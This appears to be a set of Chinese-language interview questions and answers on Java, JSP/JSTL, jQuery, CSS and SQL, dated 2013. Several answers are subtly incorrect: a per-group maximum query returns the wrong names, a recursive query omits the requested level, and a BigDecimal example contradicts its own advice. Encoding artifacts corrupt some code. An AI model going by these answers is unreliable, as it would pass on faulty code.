<url-pattern>/*</url-pattern> ?
</filter-mapping> ?
??
2013年9月1日:易度軟件開發 ?
??
問題1、如何格式化double數據,保留小數點后x位,有多少種方式? ?
??
這里我們拿 Math.PI 來討論,保留兩位小數點 。(PI = 3.141592653589793)圓周率π ?
??
=================================================== ?
【方案1】 ?
Math.round( Math.PI * 100 ) /100.0 ?
??
Math.PI * 100 = 314.1592653589793 ?
Math.round(314.1592653589793) = 314 ?
314 / 100.0 = 3.14 (注意這里要除以 100.0 ,如果除以100的話,會是整除) ?
=================================================== ?
【方案2】 ?
String.format( "%.2f", Math.PI ) ?
??
String類的靜態方法 ?
=================================================== ?
【方案3】 ?
new DecimalFormat("#.00").format(Math.PI) ?
??
java.text.DecimalFormat ?
=================================================== ?
【方案4】 ?
new BigDecimal(Math.PI).setScale(2, BigDecimal.ROUND_HALF_UP).doubleValue() ?
??
特殊說明下,要用BigDecimal(String s)這個構造方法,不能直接傳double的參數,不然四舍五入有問題的 ?
java.math.BigDecimal ?
=================================================== ?
【方案5】 ?
NumberFormat nf = NumberFormat.getNumberInstance(); ??
nf.setMaximumFractionDigits(2); ?
nf.format(Math.PI); ?
??
java.text.NumberFormat ?
=================================================== ?
【方案6】 ?
先轉字符串,然后 substring截取 ?
??
截取小數點后N位(先定位小數點位置):得到i ?//i表示小數點位置+N ?
定位小數點截取subString(0,i+1); ? ? ? ? ? ? ? ?//差不多這個意思... ?
=================================================== ?
??
??
問題2、JAVA實現從10~50中隨機生成50個數,統計出現的數字及次數,輸出出現最多的次數及對應的數字,按數字升序排列? ?
??
public static void main(String[] args) { ?
? ? ? ? TreeMap<Integer, Integer> map = new TreeMap<Integer, Integer>(); ?
? ? ? ? for (int i = 0; i < 50; i++) { ?
? ? ? ? ? ? // random*41就是范圍從0-40內,+10為10到50 ?
? ? ? ? ? ? int number = (int) (Math.random() * 41) + 10; ?
? ? ? ? ? ? System.out.print(number + " "); ?
? ? ? ? ? ? ??
? ? ? ? ? ? //統計次數,如果map里存在了+1,不存在則存入 ?
? ? ? ? ? ? if (map.containsKey(number)) { ?
? ? ? ? ? ? ? ? map.put(number, map.get(number) + 1); ?
? ? ? ? ? ? } else { ?
? ? ? ? ? ? ? ? map.put(number, 1); ?
? ? ? ? ? ? } ?
? ? ? ? } ?
? ? ? ? ??
? ? ? ? System.out.println(); ?
? ? ? ? Collection cols = map.values();//獲取map的鍵值對里值的集合 ?
? ? ? ? int max = Collections.max(cols);//獲取最大次數 ?
? ? ? ? ??
? ? ? ? List list = new ArrayList(); ?
??
? ? ? ? Iterator it = map.entrySet().iterator();//獲取迭代器 ?
??
? ? ? ? while (it.hasNext()) { ?
? ? ? ? ? ? Map.Entry entry = (Map.Entry) it.next(); ?
? ? ? ? ? ? Integer key = (Integer) entry.getKey(); ?
? ? ? ? ? ? Integer val = (Integer) entry.getValue(); ?
? ? ? ? ? ? ??
? ? ? ? ? ? //如果與最大次數相同則增加到集合中 ?
? ? ? ? ? ? if (val == max) { ?
? ? ? ? ? ? ? ? list.add(key); ?
? ? ? ? ? ? } ?
? ? ? ? ? ? System.out.println(key + "出現的次數為:" + val); ?
? ? ? ? } ?
? ? ? ? ??
? ? ? ? System.out.println("出現的最大次數為:" + max); ?
??
? ? ? ? Iterator maxNum = list.iterator(); ?
? ? ? ? while (maxNum.hasNext()) { ?
? ? ? ? ? ? System.out.println("這些數字是:" + maxNum.next()); ?
? ? ? ? } ?
? ? } ?
??
問題3、Final、finally、finalize的區別? ?
??
Final用于聲明屬性,方法和類,分別表示屬性不可變,方法不可覆蓋,類不可繼承。 ??
因此一個類不能既被聲明為 abstract的,又被聲明為final的。 ?
將變量或方法聲明為final,可以保證它們在使用中不被改變。 ?
被聲明為final的變量必須在new一個對象時初始化(即只能在聲明變量或構造器或代碼塊內初始化),而在以后的引用中只能讀取,不可修改。 ?
被聲明為final的方法也同樣只能使用,不能覆蓋(重寫)。 ?
?
finally是異常處理語句結構的一部分,表示總是執行。 ?
??
finalize是Object類的一個方法,在垃圾收集器執行的時候會調用被回收對象的此方法,可以覆蓋此方法提供垃圾收集時的其他資源回收,例如關閉文件等。JVM不保證此方法總被調用。 ?
方法名,Java 技術允許使用 finalize() 方法在垃圾收集器將對象從內存中清除出去之前做必要的清理工作。這個方法是由垃圾收集器在確定這個對象沒有被引用時對這個對象調用的。 ?
它是在 Object 類中定義的,因此所有的類都繼承了它。 ?
子類覆蓋 finalize() 方法以整理系統資源或者執行其他清理工作。finalize() 方法是在垃圾收集器刪除對象之前對這個對象調用的。 ?
注意:finalize不一定被JVM調用,只有當垃圾回收器要清除垃圾時才被調用。 ?
?
問題4、如何將int、char、boolean類型的數據轉換為字符串類型? ?
??
String.valueOf(i); ?
Integer.toString(i); Character.toString(i);Boolean.toString(i); ?
String s = "" + i; ?
?
問題5、如何將字符串類型轉換為int、boolean類型? ?
?
Integer.parseInt(String); ? ?
Integer.valueOf(String).intValue(); ?
?
Boolean.parseBoolean("true"); ?
Boolean.valueOf("true").booleanValue(); ?
?
?
問題6、以下代碼的運行結果? ?
?
String a = "xyz"; ?
? ? ? ? String b = "xyz"; ?
? ? ? ? String c = new String("xyz"); ?
? ? ? ? String k = "xy" + "z"; ?
? ? ? ? ??
? ? ? ? System.out.println(a == b); ? ? //true ?
? ? ? ? System.out.println(b == c); ? ? //false ?
? ? ? ? System.out.println(b.equals(c));//true ?
? ? ? ? System.out.println(a == k); ? ? //true ?
?System.out.println(a.equals(k));//true ?
?
問題7、以下代碼會發生什么問題? ?
?
for (double k = 0.5;; k = k + 0.1) { ?
? ? ? ? ? ? if (k == 1) { ?
? ? ? ? ? ? ? ? break; ?
? ? ? ? ? ? } ?
? ? ? ? } ?
?
Double會發生精度丟失問題,造成死循環 ?
?
問題8、概述MVC體系結構? ?
?
MVC是Model-View-Controller的簡寫。 ?
M代表業務邏輯層(通過JavaBean,EJB組件實現)。 ?
V是視圖層(由JSP頁面產生)。 ?
C屬于控制層(一般可以用基礎的Servlet實現,也可用Struts等開源框架實現) ?
通過這種設計模型把應用邏輯,處理過程和顯示邏輯分成不同的組件實現。這些組件可以進行交互和重用。 ?
??
問題9、現有一個頁面,如何記錄該頁面的訪問次數,有哪些實現方式? ?
??
使用監聽器當Session建立時sessionCreated(),存放在Application里的訪問次數+1 ?
??
使用JavaScript在頁面打開時,往后臺發送一個請求,瀏覽次數+1 ?
window.οnlοad=function(){ ?
// 此處發送異步請求,瀏覽次數+1 ?
} ?
??
問題10、JSP標準標簽庫中常用的標簽有哪些? ?
??
< c:out>、<c:if>、<c:choose>、<c:forEach>、<c:url>、<c:redirect>、<c:param> ?
??
問題11、頁面中html代碼片段如下,請問 infoArea 的背景顏色是什么,并請解析原因? ?
??
<style type="text/css"> ?
? ? ? ? .green {background-color:green} ?
</style> ?
?
<div id="infoArea" class="green" ??
style="background-color:red; width:100px; height:50px"></div> ?
??
infoArea的背景色是紅色,因為style的權重是1000,而類選擇器的權重僅為10,優先級判斷為style ?
??
CSS規范為不同類型的選擇器定義了特殊性權重,特殊性權重越高,樣式會被優先應用。 ?
權重設定如下: ??
html選擇器,權重為1 ?
類選擇器,權重為10 ?
id選擇器,權重為100 ?
內聯樣式style,權重為1000 ?
這里還有一種情況:在html標簽中直接使用style屬性,這里的style屬性的權重為1000; ?
??
問題12、寫一段js腳本將 infoArea的高度改為200px。最好能使用jquery語法? ?
??
$(function(){ ?
? ? ? ? $("#infoArea").css({"height":"200px"}); ?
}); ?
??
問題13、頁面上有2個按鈕Button1和Button2;當點擊Button1時,顯示div1,隱藏div2;當點擊Button2時,顯示div2,隱藏div1,如何實現? ?
??
<input type="button" id="Button1" value="Button1"> ?
<input type="button" id="Button2" value="Button2"> ?
<div id="div1">div1</div> ?
<div id="div2">div2</div> ?
??
??
$(function(){ ?
? ? ? ? $("#Button1").click(function(){ ?
? ? ? ? ? ? $("#div2").hide(); ?
? ? ? ? ? ? $("#div1").show(); ?
? ? ? ? }); ?
? ? ? ? $("#Button2").click(function(){ ?
? ? ? ? ? ? $("#div1").hide(); ?
? ? ? ? ? ? $("#div2").show(); ?
? ? ? ? }); ?
? ? }); ?
??
問題14、使用JSTL標簽,將dataList數據以表格方式展現。(假設標簽庫已引入,<%@taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%>) ?
??
<% ?
? ? ? ? ? ? List<Map<String, Object>> dataList = new ArrayList<Map<String, Object>>(); ?
??
? ? ? ? ? ? Map<String, Object> dataMap = new HashMap<String, Object>(); ?
? ? ? ? ? ? dataList.add(dataMap); ?
? ? ? ? ? ? dataMap.put("ID", "1001"); ?
? ? ? ? ? ? dataMap.put("NAME", "張三"); ?
? ? ? ? ? ? dataMap.put("SCORES", 90); ?
??
? ? ? ? ? ? dataMap = new HashMap<String, Object>(); ?
? ? ? ? ? ? dataList.add(dataMap); ?
? ? ? ? ? ? dataMap.put("ID", "1002"); ?
? ? ? ? ? ? dataMap.put("NAME", "李四"); ?
? ? ? ? ? ? dataMap.put("SCORES", 95); ?
? ? ? ? ? ? ??
? ? ? ? ? ? pageContext.setAttribute("dataList",dataList); ?
? ? ? ? %> ?
??
...... ?
??
工號 ?名稱 ?分數 ?
1001 ? ?張三 ?90 ?
...... ?...... ?...... ?
??
代碼如下: ?
??
<table border="1" width="50%"> ?
? ? ? ? ? ? <tr> ?
? ? ? ? ? ? ? ? <td>工號</td><td>姓名</td><td>分數</td> ?
? ? ? ? ? ? </tr> ?
? ? ? ? ? ? <c:forEach var="dataMap" items="${dataList}"> ?
? ? ? ? ? ? ? ? <c:forEach var="data" items="${dataMap}"> ?
? ? ? ? ? ? ? ? ? ? <c:if test="${data.key=='ID'}"> ?
? ? ? ? ? ? ? ? ? ? ? ? <c:set var="id" value="${data.value}"></c:set> ?
? ? ? ? ? ? ? ? ? ? </c:if> ?
? ? ? ? ? ? ? ? ? ? <c:if test="${data.key=='NAME'}"> ?
? ? ? ? ? ? ? ? ? ? ? ? <c:set var="name" value="${data.value}"></c:set> ?
? ? ? ? ? ? ? ? ? ? </c:if> ?
? ? ? ? ? ? ? ? ? ? <c:if test="${data.key=='SCORES'}"> ?
? ? ? ? ? ? ? ? ? ? ? ? <c:set var="scores" value="${data.value}"></c:set> ?
? ? ? ? ? ? ? ? ? ? </c:if> ?
? ? ? ? ? ? ? ? </c:forEach> ?
? ? ? ? ? ? ? ? <tr> ?
? ? ? ? ? ? ? ? ? ? <td>${id}</td><td>${name}</td><td>${scores}</td> ?
? ? ? ? ? ? ? ? </tr> ?
? ? ? ? ? ? </c:forEach> ?
? ? ? ? </table> ?
??
問題15、數據庫編程題? ?
??
表名:g_cardapply ?
字段(字段名/類型/長度): ?
g_applyno ? ? ? varchar ? ? 8;//申請單號(關鍵字) ?
g_applydate ? ? bigint ? ? ?8;//申請日期 ?
g_state ? ? ? ? varchar ? ? 2;//申請狀態 ?
? ?
表名:g_cardapplydetail ?
字段(字段名/類型/長度): ?
g_applyno ? ? ? varchar ? ? 8;//申請單號(關鍵字) ?
g_name ? ? ? ? ?varchar ? ? 30;//申請人姓名 ?
g_idcard ? ? ? ?varchar ? ? 18;//申請人身份證號 ?
g_state ? ? ? ? varchar ? ? 2;//申請狀態 ?
??
其中,兩個表的關聯字段為申請單號。 ?
??
建表語句: ?
??
DROP DATABASE IF EXISTS yidu; ?
CREATE DATABASE yidu; ?
??
USE yidu; ?
??
DROP TABLE IF EXISTS g_cardapply; ?
CREATE TABLE g_cardapply( ?
g_applyno VARCHAR(8), ?
g_applydate BIGINT(8), ?
g_state VARCHAR(2), ?
PRIMARY KEY ?(g_applyno) ?
); ?
??
DROP TABLE IF EXISTS g_cardapplydetail; ?
CREATE TABLE g_cardapplydetail( ?
g_applyno VARCHAR(8), ?
g_name VARCHAR(30), ?
g_idcard VARCHAR(18), ?
g_state VARCHAR(2), ?
PRIMARY KEY ?(g_applyno) ?
); ?
??
INSERT INTO g_cardapply values("12345677",13780512,"01"); ?
INSERT INTO g_cardapply values("12345678",13780512,"02"); ?
INSERT INTO g_cardapply values("12345679",13780512,"01"); ?
INSERT INTO g_cardapply values("12345680",13780512,"02"); ?
??
INSERT INTO g_cardapplydetail values("12345677","陳太上","12345678910","01"); ?
INSERT INTO g_cardapplydetail values("12345678","陳太上","12345678910","02"); ?
INSERT INTO g_cardapplydetail values("12345679","李小龍","12345678911","01"); ?
INSERT INTO g_cardapplydetail values("12345680","李小龍","12345678911","02"); ?
??
SELECT * FROM g_cardapply; ?
SELECT * FROM g_cardapplydetail; ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
select from_unixtime(1378051200000/1000);#BIGINT轉datetime ?
select UNIX_TIMESTAMP('2013-09-02')/100;#time轉BIGINT ?
??
查詢身份證號碼為440401430103082的申請日期 ?
??
SELECT gc.g_applydate ??
FROM g_cardapply gc,g_cardapplydetail gcd ??
WHERE gc.g_applyno = gcd.g_applyno AND ??
gcd.g_idcard = '440401430103082'; ?
??
查詢同一個身份證號碼有兩條以上記錄的身份證號碼及記錄個數 ?
??
SELECT g_idcard,count(g_idcard) ??
FROM g_cardapplydetail ??
group by g_idcard ??
having count(g_idcard)>=2; ?
??
將身份證號碼為440401430103082的記錄在兩個表中的申請狀態均改為07; ?
??
UPDATE g_cardapply SET g_state='07' ??
WHERE g_applyno in ??
(SELECT g_applyno FROM g_cardapplydetail ??
WHERE g_idcard='440401430103082'); ?
??
刪除g_cardapplydetail表中所有姓李的記錄 ?
??
DELETE FROM g_cardapplydetail ??
WHERE g_name like '李%'; ?
??
問題16、數據庫編程題,學生表(student{studentId, groupId, studentName, score})和興趣小組表(study_group{groupId,groupName})關聯如下圖。 ?
??
學校每個學生都可以選擇參加一個興趣小組(也可以不參加)。問: ?
建表語句: ?
DROP DATABASE IF EXISTS yidu; ?
CREATE DATABASE yidu; ?
??
USE yidu; ?
??
DROP TABLE IF EXISTS study_group; ?
CREATE TABLE study_group( ?
groupId VARCHAR(38), ?
groupName VARCHAR(30), ?
PRIMARY KEY ?(groupId) ?
); ?
??
DROP TABLE IF EXISTS student; ?
CREATE TABLE student( ?
studentId VARCHAR(38), ?
groupId VARCHAR(38), ?
studentName VARCHAR(10), ?
score NUMERIC(4,1), ?
PRIMARY KEY ?(studentId), ?
CONSTRAINT fk_gid FOREIGN KEY(groupId) REFERENCES study_group(groupId) ?
); ?
??
??
INSERT INTO study_group values("123","一組"); ?
INSERT INTO study_group values("124","二祖"); ?
??
INSERT INTO student values("1","123","陳一",90.9); ?
INSERT INTO student values("2","123","陳二",81.9); ?
INSERT INTO student values("3","124","陳三",93.9); ?
INSERT INTO student values("4","124","陳四",70.9); ?
INSERT INTO student values("5",null,"陳五",60.9); ?
INSERT INTO student values("6",null,"陳六",80.9); ?
??
SELECT * FROM study_group; ?
SELECT * FROM student; ?
??
用一條SQL查出各小組成績最優秀的學生,需要查出<小組名稱、學生名稱、成績> ?
??
SELECT sgp.groupName,stu.studentName,max(stu.score) ??
FROM student stu,study_group sgp ??
WHERE stu.groupId = sgp.groupId ??
GROUP BY sgp.groupName; ?
??
??
??
將所有沒有參加小組的學生的活動成績更新為0 ?
??
UPDATE student set score = 0 ??
WHERE groupId IS NULL; ?
??
用一條sql查出所有學生參加興趣小組的情況,需要查出<學生名稱、小組名稱>如果學生沒有參加小組,則小組名稱返回“沒有參加小組” ?
??
SELECT stu.studentName,IFNULL(sgp.groupName ,'沒有參加小組') ?
FROM student stu LEFT JOIN study_group sgp ?
on stu.groupId = sgp.groupId; ?
??
問題17、用程序在控制臺打印出所有由1、2、3、4組合出來的4位數,不可重復出現同一個數字 ?
??
/** ?
? ? ? ? ?* 本法是輸入1,2,3,4不重復的4位數 ?
? ? ? ? ?*一個循環是代表一個位數,在最后一層中做個判斷并輸出,就可以顯示了。 ?
? ? ? ? ?*/ ?
? ? ? ? for (int i = 1; i < 5; i++) { ?
? ? ? ? ? ? for (int j = 1; j < 5; j++) { ?
? ? ? ? ? ? ? ? for (int m = 1; m < 5; m++) { ?
? ? ? ? ? ? ? ? ? ? for (int n = 1; n < 5; n++) { ?
? ? ? ? ? ? ? ? ? ? ? ? if (i != j && i != m && i != n && j != m && j != n ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? && m != n) { ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? System.out.println(i + "" + j + "" + m + "" + n); ?
? ? ? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? } ?
? ? ? ? } ?
??
問題18、請用jQuery或任一AJAX框架寫一個異步提交請求,要求有成功處理回調函數、失敗回調函數,使用json格式傳遞數據。(具體業務參數、業務邏輯可留空) ?
??
回調函數: ?
代表請求返回內容的 data; 代表請求狀態的 textStatus 對象和 XMLHttpRequest 對象 ?
?
$.post(url,{"username":"java"},function(backData,status,xhr){ ?
? ? ? ? ? ? if(status=="success"){ ?
? ? ? ? ? ? ? ? ??
? ? ? ? ? ? }else{ ?
? ? ? ? ? ? ? ? ??
? ? ? ? ? ? } ?
? ? ? ? }); ?
??
??
問題19、將頁面所有table邊框顏色設置為#66FFCC,table里面的th元素里的文字大小設為13px,td里的文字大小設為12px? ?
??
<style type="text/css"> ?
? ? ? ? ? ? table{border-color: #66FFCC} ?
? ? ? ? ? ? table th{font-size: 13px} ?
? ? ? ? ? ? table td{font-size: 12px} ?
? ? ? ? </style> ?
??
問題20、將頁面id為form1的Form表單背景顏色設為#66FFCC? ?
??
??
??
<style type="text/css"> ?
? ? ? ? ? ? #form1{background: #66FFCC} ?
? ? ? ? </style> ?
??
問題21、要求用js將下列html中class=”a”的<li/>標簽的innerText填充為”hello world”。 ?
??
??
??
function add(){ ?
? ? ? ? ? ? var lis = document.getElementsByTagName("li"); ?
??
? ? ? ? ? ? for(var i=0; i <lis.length; i++){ ?
? ? ? ? ? ? ? ? if(lis[i].className=="a"){ ?
? ? ? ? ? ? ? ? ? ? lis[i].innerText="hello world"; ?
? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? } ?
? ? ? ? } ?
??
? ? ? ? add(); ?
??
問題22、請用流復制的方式,完成以下文件復制方法,不許使用第三方類庫? ?
??
public void copyFile(String sourceFilePath, String targetFilePath) throws Exception { ?
??
? ? ? ? FileInputStream fis=new FileInputStream(sourceFilePath); ?
? ? ? ? FileOutputStream fos=new FileOutputStream(targetFilePath); ?
? ? ? ? ??
? ? ? ? byte[] byt=new byte[1024];//緩沖區 ?
? ? ? ? int len=0; ?
? ? ? ? ??
? ? ? ? while((len=fis.read(byt))>0){ ?
? ? ? ? ? ? fos.write(byt,0,len); ?
? ? ? ? } ?
? ? ? ? ??
? ? ? ? fis.close(); ?
? ? ? ? fos.close(); ?
} ?
??
問題23、用程序在控制臺輸出101-199之間所有質數(大于1且不能被1或自己以外的自然數? ?
??
for (int i = 101; i < 200; i++) { ?
? ? ? ? ? ? int a = 0; ?
? ? ? ? ? ? for (int j = 1; j <= i; j++) { ?
? ? ? ? ? ? ? ? if (i % j == 0) { ?
? ? ? ? ? ? ? ? ? ? //第一次是被1整除,第二次是被自己整除 ?
? ? ? ? ? ? ? ? ? ? a++; ?
? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? if (i == j && a == 2) { ?
? ? ? ? ? ? ? ? ? ? System.out.println(i); ?
? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? } ?
? ? ? ? } ?
??
問題24、數據庫編程題 ?
有一張部門表sec_dept ?
dept_id varchar2(38) ? ?dept_name varchar2(100) parent_id varchar(38) ?
部門id ? ?部門名稱 ? ?上級部門id ?
??
建表語句: ?
DROP TABLE sec_dept; ?
CREATE TABLE sec_dept( ?
dept_id VARCHAR2(38), ?
dept_name VARCHAR2(100), ?
parent_id VARCHAR(38), ?
PRIMARY KEY (dept_id) ?
); ?
??
INSERT INTO sec_dept values('1','部門A',null); ?
INSERT INTO sec_dept values('2','部門B',null); ?
INSERT INTO sec_dept values('3','部門C','1'); ?
INSERT INTO sec_dept values('4','部門D','2'); ?
INSERT INTO sec_dept values('5','部門E','3'); ?
INSERT INTO sec_dept values('6','部門F','4'); ?
??
SELECT * FROM sec_dept; ?
??
??
如果該部門為頂級部門則parent_id為null。現要求: ?
用一條sql從頂級部門開始遞歸查出所有部門,并展示各個部門的級別。Sql可以寫plsql或tsql。 ?
結果格式如: ?
部門名稱 ? 級別 ?
部門A ? ? ?1 ?
部門B ? ? ?2 ?
部門C ? ? ?2 ?
部門D ? ? ?3 ?
部門E ? ? ?3 ?
部門F ? ? ?3 ?
??
??
select dept_name,parent_id from sec_dept ??
start with dept_id in (select dept_id from sec_dept where parent_id is null) ??
connect by prior dept_id=parent_id; ?
??
假設目前需要對所有部門表進行分頁查詢(不用考慮問題1的部門級別),每頁數據顯示10條記錄,目前要查第3頁的部門數據,請寫出查詢sql(假設部門不止30個) ?
??
SELECT * FROM ??
( ?
SELECT A.*, ROWNUM RN ??
FROM (SELECT * FROM sec_dept) A ??
WHERE ROWNUM <= 30 ?
) ?
WHERE RN >= 21; ?
??
問題25、數據庫編程題? ?
現有工資表income字段如下: ?
Income_time Date ? ?person ?Dept_id Dept_name ? income ??
收入日期 ? ?人員 ?部門id ? ?部門名稱 ? ?收入 ?
??
建表語句: ?
DROP TABLE income; ?
CREATE TABLE income( ?
income_time Date, ?
person VARCHAR2(50), ?
Dept_id VARCHAR(20), ?
Dept_name VARCHAR(20), ?
income number ?
); ?
??
INSERT INTO income values(sysdate,'A號','1','A部門',1000); ?
INSERT INTO income values(add_months(sysdate,-1),'A號','1','A部門',2000); ?
INSERT INTO income values(add_months(sysdate,1),'A號','1','A部門',3000); ?
INSERT INTO income values(sysdate,'B號','2','B部門',700); ?
INSERT INTO income values(add_months(sysdate,-1),'B號','2','B部門',500); ?
INSERT INTO income values(add_months(sysdate,1),'B號','2','B部門',600); ?
INSERT INTO income values(sysdate,'C號','3','C部門',4000); ?
INSERT INTO income values(add_months(sysdate,-1),'C號','3','C部門',3500); ?
INSERT INTO income values(add_months(sysdate,1),'C號','3','C部門',4500); ?
??
??
要求用一個SQL語句(注意是一個)的處所有人(不區分人員)每個月及上月和下月的總收入 ?
要求列表輸出為: ?
年份 ?月份 ?當月收入 ? ?上月收入 ? ?下月收入 ?
?
??
select ??
(SELECT to_char(sysdate,'yyyy') from dual) as "年份", ?
(SELECT to_char(sysdate,'mm') from dual) as "月份", ?
(SELECT sum(income) from income where to_char(income_time,'mm')=to_char(sysdate,'mm')) as "當月收入", ?
(SELECT sum(income) from income where to_char(income_time,'mm')=to_char(sysdate,'mm')-1) as "上月收入", ?
(SELECT sum(income) from income where to_char(income_time,'mm')=to_char(sysdate,'mm')+1) as "下月收入" ??
from dual; ? ? ?
??
查出各個月份的各部門所有人總收入,要求生成合計行 ?
生成結果如: ?
2013年 6月 開發1部 A君 3000 ?
2013年 6月 開發1部 B君 3000 ?
2013年 6月 開發1部 C君 3000 ?
2013年 6月 開發1部 合計 9000 ?
2013年 6月 開發2部 D君 3000 ?
2013年 6月 開發2部 E君 3000 ?
2013年 6月 開發2部 合計6000 ?
??
注意: 統計了各月份各部門所有人的總收入,但未實現生成合并行 ?
SELECT to_char(income_time,'yyyy-mm'),dept_name,person,sum(income) ??
FROM income ??
GROUP BY to_char(income_time,'yyyy-mm'),dept_name,person ??
ORDER BY to_char(income_time,'yyyy-mm'); ?
??
問題26、數據庫編程題 ?
??
當前有兩個數據量很大的寬表A和B ?
A結構: ?
Pk_id varchar2(38) ?Filed1 varchar2(200) ? ?Filed2 varchar2(200) ? ?…. ?
主鍵 ?字段1 字段2 其余字段 ?
B結構: ?
Pk_id varchar2(38) ?Fk_id varchar2(38) ?Filed1 varchar2(200) ? ?Filed2. varchar2(200) ? …. ?Create_time ??
主鍵 ?關聯A的外鍵 ?字段1 字段2 其余字段 ? ?生成時間 ?
??
其中表B的數據每日生成一次,且新增數量級達到百萬級。 ?
表A為維表數據基本不變。表A和B除主、外鍵沒有任何鍵或其它優化措施。 ?
目前需每月通過以下sql統計出符合條件的B表的Feild1和Field2明細信息 ?
Select * from B ??
where Months_between(create_time, sysdate) = 0 ??
and fk_id in (select pk_id from A where A.field1 = ‘condition’) ?
若只考慮對上述sql查詢性能的優化,可以采取哪些優化措施?(優化措施可有多種,請盡量列舉) ?
??
1、通配符*號修改為Field1和Field2 ?
2、為A表的Field1建立索引 ?
3、in修改為exists ?
??
2013年9月5日: ?
??
問題1、說說ArrayList,Vector, LinkedList的存儲性能和特性? ?
??
ArrayList和Vector都是使用數組方式存儲數據,此數組元素數大于實際存儲的數據以便增加和插入元素,它們都允許直接按序號索引元素,但是插入元素要涉及數組元素移動等內存操作,所以索引數據快而插入數據慢,Vector由于使用了synchronized方法(線程安全),通常性能上較ArrayList差,而LinkedList使用雙向鏈表實現存儲,按序號索引數據需要進行前向或后向遍歷,但是插入數據時只需要記錄本項的前后項即可,所以插入速度較快。 ?
LinkedList也是線程不安全的,LinkedList提供了一些方法,使得LinkedList可以被當作堆棧和隊列來使用。 ?
??
問題2、short s1 = 1; s1 = s1 + 1;有什么錯? short s1 = 1; s1 += 1;有什么錯? ?
??
short s1 = 1; s1 = s1 + 1; (s1+1運算結果是int型,需要強制轉換類型) ?
short s1 = 1; s1 += 1;(可以正確編譯) ?
??
當使用+=、-=、*=、/=、%=、運算符對基本類型進行運算時,遵循如下規則: ?
運算符右邊的數值將首先被強制轉換成與運算符左邊數值相同的類型,然后再執行運算,且運算結果與運算符左邊數值類型相同。 ?
??
在s1=s1+1;中,s1+1運算的結果是int型,把它賦值給一個short型變量s1,所以會報錯 ?
??
而在s1+=1;中,由于s1是short類型的,所以1首先被強制轉換為short型,然后再參與運算,并且結果也是short類型的,因此不會報錯 ?
??
那么,s1=1+1;為什么不報錯呢? ?
這是因為1+1是個編譯時可以確定的常量,“+”運算在編譯時就被執行了,而不是在程序執行的時候,這個語句的效果等同于s1=2,所以不會報錯。 ?
??
前面講過了,對基本類型執行強制類型轉換可能得出錯誤的 ?
結果,因此在使用+=、-=、*=、/=、%=、等運算符時,要多加注意。 ?
??
問題3、說說你對數據庫設計里的三范式的理解? ?
??
第一范式(1NF)無重復的列 ?
??
所謂第一范式(1NF)是指數據庫表的每一列都是不可分割的基本數據項,同一列中不能同時有多個值,即實體中的某個屬性不能有多個值或者不能有重復的屬性。 ?
如果出現重復的屬性,就可能需要定義一個新的實體,新的實體由重復的屬性構成,新實體與原實體之間為一對多關系。在第一范式(1NF)中表的每一行只包含一個實例的信息。簡而言之,第一范式就是無重復的列。 ?
?
在任何一個關系數據庫中,第一范式(1NF)是對關系模式的基本要求,不滿足第一范式(1NF)的數據庫就不是關系數據庫。 ?
在當前的任何關系數據庫管理系統(DBMS)中,不可能做出不符合第一范式的數據庫,因為這些DBMS不允許你把數據庫表的一列再分成二列或多列。因此,你想在現有的DBMS中設計出不符合第一范式的數據庫都是不可能的。 ?
舉例: ?
一張學生表Student(stuNo,stuName,age,age,sex)是不符合第一范式的,因為有重復列age屬性。 ?
去除重復列age以后的Student(stuNo,stuName,age,sex)是符合第一范式的。 ?
??
第二范式(2NF)屬性完全依賴于主鍵 [ 消除部分子函數依賴 ] ?
??
第二范式(2NF)是在第一范式(1NF)的基礎上建立起來的,即滿足第二范式(2NF)必須先滿足第一范式(1NF)。 ?
第二范式(2NF)要求數據庫表中的每個實例或行必須可以被唯一地區分。為實現區分通常需要為表加上一個列,以存儲各個實例的唯一標識。 ?
例如員工信息表中加上了員工編號(emp_id)列,因為每個員工的員工編號是唯一的,因此每個員工可以被唯一區分。這個唯一屬性列被稱為主關鍵字或主鍵、主碼。 ?
? ?
第二范式(2NF)要求實體的屬性完全依賴于主關鍵字。 ?
所謂完全依賴是指不能存在僅依賴主關鍵字一部分的屬性,如果存在,那么這個屬性和主關鍵字的這一部分應該分離出來形成一個新的實體,新實體與原實體之間是一對多的關系。 ?
為實現區分通常需要為表加上一個列,以存儲各個實例的唯一標識。簡而言之,第二范式就是屬性完全依賴于主鍵。 ?
這里說的主關鍵字可能不只有一個,有些情況下是存在聯合主鍵的,就是主鍵有多個屬性。 ?
??
舉例: ?
以學生選課為例,每個學生都可以選課,并且有這一門課程的成績,那么如果將這些信息都放在一張表StuGrade(stuNo,stuName,age,sex,courseNo,courseName,credit,score)。 ?
?
如果不仔細看,我們會以為這張表的主鍵是stuNo,但是當我們看到最后一個score屬性以后,在想想如果沒有課程信息,那么哪里有學生成績信息呢。所以這張表的主鍵是一個聯合主鍵(stuNo,corseNo),這個聯合屬性能夠唯一確定score屬性。 ?
那么再看其他信息,比如stuName只需要stuNo就能夠唯一確定,courseName只需要courseNo就能夠唯一確定,因此這樣就存在了部分依賴,不符合第二范式。 ?
如果要讓學生課程成績信息滿足第二范式,那么久需要將這張表拆分成多張表,一張學生表Studnet(stuNo,stuName,age,sex),一張課程表Course(courseNo,courseName,credit),還有最后一張學生課程成績表StuGrade(stuNo,courseNo,score)。如下: ?
?
這樣就符合第二范式了。 ?
??
第三范式(3NF)屬性不依賴于其它非主屬性 [ 消除傳遞依賴 ] ?
??
滿足第三范式(3NF)必須先滿足第二范式(2NF)。 ?
簡而言之,第三范式(3NF)要求一個數據庫表中不包含已在其它表中已包含的非主關鍵字信息。 ?
??
舉例: ?
? ?
每一個員工都有一個所屬部門,假如有一個員工信息表 ?
Employee(emp_id,emp_name,emp_age,dept_id,dept_name,dept_info) ?
?
這張員工信息表的主鍵是emp_id,因為這個屬性能夠唯一確定其他所有屬性,比如知道員工編號emp_id以后,肯定能夠知道員工姓名,所屬部門編號,部門名稱和部門介紹。 ?
所以這里dept_id不是主屬性,而是非主屬性。 ?
?
